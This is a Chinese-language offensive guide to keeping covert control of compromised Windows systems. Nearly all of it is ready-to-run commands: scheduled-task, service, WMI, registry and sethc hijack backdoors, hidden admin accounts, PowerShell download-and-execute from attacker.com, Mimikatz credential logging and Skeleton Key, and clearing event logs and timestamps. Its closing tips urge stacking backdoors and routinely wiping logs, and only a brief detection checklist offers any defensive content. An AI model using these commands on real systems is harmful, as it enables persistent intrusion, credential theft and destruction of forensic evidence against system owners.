Windows 持久化与后门技术
拿到 SYSTEM 权限后如何保持长期控制?本指南详解 Windows 持久化的 20+ 种技术手段。
一、计划任务
1. schtasks
CMD
REM 每分钟执行
schtasks /create /tn "WindowsUpdate" /tr "C:\temp\payload.exe" /sc minute /mo 1 /ru SYSTEM
schtasks /create /tn "GoogleUpdate" /tr "powershell -w hidden -enc BASE64" /sc onlogon /ru SYSTEM
REM 远程计划任务(横向持久化)
schtasks /create /s TARGET /tn "Backup" /tr "C:\temp\payload.exe" /sc daily /st 01:00 /ru SYSTEM
2. WMI 事件触发
POWERSHELL
# 系统启动时触发
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name="WMIEvent";EventNameSpace="root\cimv2";QueryLanguage="WQL";Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'"}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="WMIBackdoor";CommandLineTemplate="C:\temp\payload.exe"}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$filter;Consumer=$consumer}
二、服务
1. sc 创建服务
CMD
sc create "SysHelper" binPath= "C:\temp\payload.exe" start= auto
sc start SysHelper
REM 远程服务
sc \\TARGET create "RemoteBackup" binPath= "C:\temp\payload.exe" start= auto
2. 注册服务 DLL(更隐蔽)
CMD
# svchost 劫持
sc create "NetHelper" binPath= "C:\Windows\System32\svchost.exe -k netsvcs" start= auto
# 注册服务时指定 ServiceDll 注册表
三、注册表自启动
1. Run / RunOnce
CMD
REM 当前用户
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Update" /t REG_SZ /d "C:\temp\payload.exe"
REM 所有用户
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v "SysHelper" /t REG_SZ /d "C:\temp\payload.exe"
REM WOW64 模式
reg add HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run /v "Update" /t REG_SZ /d "C:\temp\payload.exe"
2. RunOnceEx / Policies Explorer Run
CMD
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v "Startup" /t REG_SZ /d "C:\temp\payload.exe"
3. Winlogon 劫持
CMD
# Userinit
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "C:\Windows\System32\userinit.exe,C:\temp\payload.exe"
# Shell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe,C:\temp\payload.exe"
# Notify (旧版本)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify" /v "Payload" /t REG_SZ /d "C:\temp\payload.dll"
4. 启动文件夹
CMD
# 当前用户
copy payload.exe "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
# 所有用户
copy payload.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\"
5. AppInit_DLLs(需重启)
CMD
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\temp\evil.dll"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1
四、映像劫持(Image File Execution Options)
CMD
# 劫持 sethc.exe(粘滞键)→ cmd.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "C:\Windows\System32\cmd.exe"
常见劫持目标:
| 程序 | 触发方式 |
|---|---|
| sethc.exe | 按 Shift 5 次 |
| utilman.exe | Win+U 辅助工具 |
| osk.exe | 屏幕键盘 |
| narrator.exe | 讲述人 |
| magnify.exe | 放大镜 |
| cmd.exe | 登录界面按 Win+U |
五、后门账户
1. 创建隐藏用户
CMD
net user HelpDesk P@ssw0rd123! /add
net localgroup administrators HelpDesk /add
REM 隐藏用户(注册表)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v HelpDesk /t REG_DWORD /d 0
2. 克隆管理员
MIMIKATZ
# Mimikatz 将普通用户权限提升为 SYSTEM/管理员 w/注册表技巧
privilege::debug
token::elevate
lsadump::sam
六、PowerShell 后门
POWERSHELL
# 下载并执行
powershell -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/agent.ps1')"
# 注册表写入 Base64 负载
$cmd = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/agent.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$b64 = [Convert]::ToBase64String($bytes)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "PSUpdate" /t REG_SZ /d "powershell -w hidden -enc $b64"
七、DLL 劫持
1. 常见缺 DLL 列表
CODE
version.dll, userenv.dll, ntmarta.dll, profapi.dll
propsys.dll, wbemcomn.dll, shfolder.dll, dbghelp.dll
2. DLL 植入
CMD
REM 查缺 DLL(Procmon)
# Filter: Process Name = explorer.exe
# Result = NAME NOT FOUND
# Path = ends with ".dll"
REM 编译劫持 DLL
REM 1. 写代理 DLL(转发原函数到原 DLL)
REM 2. 添加自己的恶意代码(DllMain)
REM 3. 放到目标程序同目录
八、COM 劫持
CMD
# 劫持 COM 对象
# 1. 找到缺失 COM 的 CLSID
# 2. 注册一个代理 COM 组件
reg add HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32 /ve /d "C:\temp\evil.dll"
九、Boot Execute
CMD
# 系统启动前执行
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v BootExecute /t REG_MULTI_SZ /d "autocheck autochk *\0C:\temp\payload.exe"
十、安全支持提供程序(SSP)
1. mimilib.dll
CMD
# Mimikatz SSP 记录所有明文密码
copy mimilib.dll C:\Windows\System32\
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "mimilib" /f
# 日志写入 kiwi 文件
# 路径:C:\Windows\System32\kiwi*.log
2. 自定 SSP DLL(隐蔽性更高)
加载自定义 SSP 记录凭据到指定文件或远程发送。
十一、组策略持久化
1. 立即计划任务
POWERSHELL
# 通过组策略分发计划任务
New-GPO -Name "PolicyUpdate"
Set-GPRegistryValue -Name "PolicyUpdate" -Key "HKLM\..." -ValueName "Update" -Value "C:\temp\payload.exe"
2. 启动脚本
CODE
# GPO 中的启动/关机脚本
Computer Configuration → Windows Settings → Scripts → Startup
添加 payload.exe
十二、LSASS 注入
1. Reflective DLL Injection
POWERSHELL
# 反射加载 DLL,不落地
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/payload.dll')
[System.Reflection.Assembly]::Load($bytes)
2. Skeleton Key(域控)
MIMIKATZ
# 域控上的万能密码
mimikatz.exe "privilege::debug" "misc::skeleton" exit
# 任何域用户都可以用 "mimikatz" 作为密码登录!
十三、进程注入
C
// 注入 Explorer.exe 或其他长期运行的进程
// 1. OpenProcess → VirtualAllocEx → WriteProcessMemory
// 2. CreateRemoteThread
// 3. 或使用 QueueUserAPC 更隐蔽
十四、RID 劫持
CMD
# 将 Guest 账号 RID 改为 500 (Administrator)
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY /d ...
# 需要 SYSTEM 权限
十五、MSI 持久化
CMD
# .msi 安装包自启动
# 修复模式触发执行
msiexec /f /qn evil.msi
十六、清理痕迹
1. 清除事件日志
CMD
wevtutil cl System
wevtutil cl Security
wevtutil cl Application
wevtutil cl "Windows PowerShell"
# PowerShell
Clear-EventLog -LogName Security, Application, System
2. 时间戳伪装
CMD
# Metasploit timestomp
timestomp payload.exe -z "C:\Windows\System32\kernel32.dll"
3. Prefetch 清除
CMD
del C:\Windows\Prefetch\PAYLOAD*.pf /f /q
十七、检测与防御
CODE
蓝队检测点:
1. AutoRuns 检查所有启动项
2. Sysmon Event ID 13 (Registry)
3. EDR 进程链检测
4. 计划任务审计
5. 服务创建监控
6. WMI 订阅监控 (__FilterToConsumerBinding)
7. AppInit_DLLs 注册表检查
8. 未签名的 DLL 加载审计
9. AMSI 日志分析
10. BloodHound 路径分析
十八、实战经验
- 不要只放一个后门:组合 3-4 种技术(计划任务 + 服务 + 注册表 + WMI),以应对清理。
- sethc 劫持是最经典的锁屏后门:Shift 5 次弹出 ADMIN cmd,进系统直接 DA。
- WMI 持久化极难被发现:攻击者用得少,蓝队查得少,隐蔽生存存储长。
- 服务比计划任务更高级:计划任务定时执行,服务随系统启动回调更灵活。
- Skeleton Key 是域控噩梦:一旦注入,任何域用户可用万能密码登录,全盘沦陷。
- 事件日志必须清:拿到 SYSTEM 后
wevtutil cl三个日志是例行操作,但别忘记 PowerShell Analytics 和 Sysmon 日志。 - 域环境做 GPO 持久化最稳定:只要域控不重装,GPO 就会一直往下推,覆盖全森林。